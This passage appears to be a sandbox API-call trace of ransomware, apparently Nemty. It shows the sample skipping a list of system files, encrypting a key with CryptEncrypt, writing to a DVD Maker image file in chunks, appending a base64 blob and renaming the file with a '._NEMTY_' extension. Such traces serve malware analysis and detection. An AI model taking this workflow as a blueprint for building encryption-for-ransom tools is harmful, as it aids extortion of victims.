(lpString1="Postage_ButtonGraphic.png", lpString2="rsa") returned -1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="NTDETECT.COM") returned 1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="ntldr") returned 1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="ntuser.dat") returned 1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="programdata") returned -1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="appdata") returned 1 [0078.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0078.272] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_ButtonGraphic.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0078.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.272] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_ButtonGraphic.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Postage_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 25 [0078.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0078.272] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_ButtonGraphic.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0078.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_ButtonGraphic.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Postage_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 25 [0078.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0078.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0078.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0078.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_ButtonGraphic.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0078.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_ButtonGraphic.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Postage_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 25 [0078.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0078.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0078.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_ButtonGraphic.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0078.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0078.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_ButtonGraphic.png", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Postage_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 25 [0078.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0078.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0078.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0078.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0078.273] Sleep (dwMilliseconds=0x5) [0078.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe24df870, dwHighDateTime=0x1d561e7)) [0078.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe24df870, dwHighDateTime=0x1d561e7)) [0078.279] GetLastError () returned 0x5 [0078.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0078.279] GetLastError () returned 0x5 [0078.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0078.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0078.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0078.279] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0078.279] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0078.279] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0078.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941c0 [0078.279] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941c0, pcchString=0x653ec5c | out: pszString="BXg/bSrP1XlKWeEWjVVLOze6DRGA0Th9CmRCs1oVMm9S89VoatWqmyP3UP2N9j7r\r\nC5QlxxMfEF6Xm8SWBhlNh8TLE4wQ41jhhzi/Kd6PZox5/STY4d/eOrl/kJXz17GV\r\n1T1ZRFHN0fx68fMGXMkU1MRzb2Fzs8UZZttkUoFKXC/yo+uFDyoOJ6EMFXZ1gxms\r\nQUHg/YHHPcNBm5yE/qi4ec3mtjpOh19qcVdRx4vtmyK7rdyZbszvGOO4El4xdRHS\r\n1TQ/PWLHb5sro7xB5Vm8BlG0SmOOrLgWzHzA0qh9sflQTQy2mUCzrTMeZrI3wKje\r\nBf/9X3ynS9Sacx8uRQYVHA==\r\n", pcchString=0x653ec5c) returned 1 [0078.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0078.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0078.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0078.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0078.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941c0 [0078.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0078.279] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.280] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0078.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0078.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.299] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.299] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.308] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.317] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.317] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.336] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.345] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.345] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.373] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.373] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.379] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.380] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.385] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.385] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0078.386] CloseHandle (hObject=0xffffffff) returned 0 [0078.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0078.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0078.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0078.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0078.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0078.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0078.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0078.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94330 [0078.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0078.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0078.386] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0078.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0078.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0078.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0078.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0078.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0078.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0078.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0078.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0078.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0078.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.386] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.386] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2=".") returned 1 [0078.386] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="..") returned 1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="...") returned 1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="windows") returned -1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="rsa") returned -1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned 1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="ntldr") returned 1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="ntuser.dat") returned 1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="programdata") returned -1 [0078.387] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="appdata") returned 1 [0078.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0078.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_SelectionSubpicture.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0078.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Postage_SelectionSubpicture.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 